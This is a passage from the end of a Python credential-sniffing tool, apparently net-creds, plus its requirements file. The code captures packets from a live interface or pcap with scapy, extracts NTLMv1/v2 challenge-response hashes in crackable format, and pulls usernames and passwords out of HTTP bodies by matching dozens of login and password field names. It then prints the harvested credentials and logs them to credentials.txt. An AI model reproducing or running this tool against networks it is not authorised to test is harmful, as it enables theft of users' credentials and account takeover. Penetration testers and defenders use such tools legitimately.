| else: 879 | challenge = 'CHALLENGE NOT FOUND' 880 | 881 | if len(msg3) > 43: 882 | # Thx to psychomario for below 883 | lmlen, lmmax, lmoff, ntlen, ntmax, ntoff, domlen, dommax, domoff, userlen, usermax, useroff = struct.unpack("12xhhihhihhihhi", msg3[:44]) 884 | lmhash = binascii.b2a_hex(msg3[lmoff:lmoff+lmlen]) 885 | nthash = binascii.b2a_hex(msg3[ntoff:ntoff+ntlen]) 886 | domain = msg3[domoff:domoff+domlen].replace("\0", "") 887 | user = msg3[useroff:useroff+userlen].replace("\0", "") 888 | # Original check by psychomario, might be incorrect? 889 | #if lmhash != "0"*48: #NTLMv1 890 | if ntlen == 24: #NTLMv1 891 | msg = '%s %s' % ('NETNTLMv1:', user+"::"+domain+":"+lmhash+":"+nthash+":"+challenge) 892 | return msg 893 | elif ntlen > 60: #NTLMv2 894 | msg = '%s %s' % ('NETNTLMv2:', user+"::"+domain+":"+challenge+":"+nthash[:32]+":"+nthash[32:]) 895 | return msg 896 | 897 | def url_filter(http_url_req): 898 | ''' 899 | Filter out the common but uninteresting URLs 900 | ''' 901 | if http_url_req: 902 | d = ['.jpg', '.jpeg', '.gif', '.png', '.css', '.ico', '.js', '.svg', '.woff'] 903 | if any(http_url_req.endswith(i) for i in d): 904 | return 905 | 906 | return http_url_req 907 | 908 | def get_login_pass(body): 909 | ''' 910 | Regex out logins and passwords from a string 911 | ''' 912 | user = None 913 | passwd = None 914 | 915 | # Taken mainly from Pcredz by Laurent Gaffie 916 | userfields = ['log','login', 'wpname', 'ahd_username', 'unickname', 'nickname', 'user', 'user_name', 917 | 'alias', 'pseudo', 'email', 'username', '_username', 'userid', 'form_loginname', 'loginname', 918 | 'login_id', 'loginid', 'session_key', 'sessionkey', 'pop_login', 'uid', 'id', 'user_id', 'screename', 919 | 'uname', 'ulogin', 'acctname', 'account', 'member', 'mailaddress', 'membername', 'login_username', 920 | 'login_email', 'loginusername', 'loginemail', 'uin', 'sign-in', 'usuario'] 921 | passfields = ['ahd_password', 'pass', 'password', '_password', 'passwd', 'session_password', 'sessionpassword', 922 | 'login_password', 'loginpassword', 'form_pw', 'pw', 'userpassword', 'pwd', 'upassword', 'login_password' 923 | 'passwort', 'passwrd', 'wppassword', 'upasswd','senha','contrasena'] 924 | 925 | for login in userfields: 926 | login_re = re.search('(%s=[^&]+)' % login, body, re.IGNORECASE) 927 | if login_re: 928 | user = login_re.group() 929 | for passfield in passfields: 930 | pass_re = re.search('(%s=[^&]+)' % passfield, body, re.IGNORECASE) 931 | if pass_re: 932 | passwd = pass_re.group() 933 | 934 | if user and passwd: 935 | return (user, passwd) 936 | 937 | def printer(src_ip_port, dst_ip_port, msg): 938 | if dst_ip_port != None: 939 | print_str = '[%s > %s] %s%s%s' % (src_ip_port, dst_ip_port, T, msg, W) 940 | # All credentials will have dst_ip_port, URLs will not 941 | 942 | # Prevent identical outputs unless it's an HTTP search or POST load 943 | skip = ['Searched ', 'POST load:'] 944 | for s in skip: 945 | if s not in msg: 946 | if os.path.isfile('credentials.txt'): 947 | with open('credentials.txt', 'r') as log: 948 | contents = log.read() 949 | if msg in contents: 950 | return 951 | 952 | print print_str 953 | 954 | # Escape colors like whatweb has 955 | ansi_escape = re.compile(r'\x1b[^m]*m') 956 | print_str = ansi_escape.sub('', print_str) 957 | 958 | # Log the creds 959 | logging.info(print_str) 960 | else: 961 | print_str = '[%s] %s' % (src_ip_port.split(':')[0], msg) 962 | print print_str 963 | 964 | def main(args): 965 | ##################### DEBUG ########################## 966 | ## Hit Ctrl-C while program is running and you can see 967 | ## whatever variable you want within the IPython cli 968 | ## Don't forget to uncomment IPython in imports 969 | #def signal_handler(signal, frame): 970 | # embed() 971 | ## sniff(iface=conf.iface, prn=pkt_parser, store=0) 972 | # sys.exit() 973 | #signal.signal(signal.SIGINT, signal_handler) 974 | ###################################################### 975 | 976 | # Read packets from either pcap or interface 977 | if args.pcap: 978 | try: 979 | for pkt in PcapReader(args.pcap): 980 | pkt_parser(pkt) 981 | except IOError: 982 | exit('[-] Could not open %s' % args.pcap) 983 | 984 | else: 985 | # Check for root 986 | if geteuid(): 987 | exit('[-] Please run as root') 988 | 989 | #Find the active interface 990 | if args.interface: 991 | conf.iface = args.interface 992 | else: 993 | conf.iface = iface_finder() 994 | print '[*] Using interface:', conf.iface 995 | 996 | if args.filterip: 997 | sniff(iface=conf.iface, prn=pkt_parser, filter="not host %s" % args.filterip, store=0) 998 | else: 999 | sniff(iface=conf.iface, prn=pkt_parser, store=0) 1000 | 1001 | 1002 | if __name__ == "__main__": 1003 | main(parse_args()) 1004 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | scapy=>2.3.1 2 | wsgiref=>0.1.2 3 | --------------------------------------------------------------------------------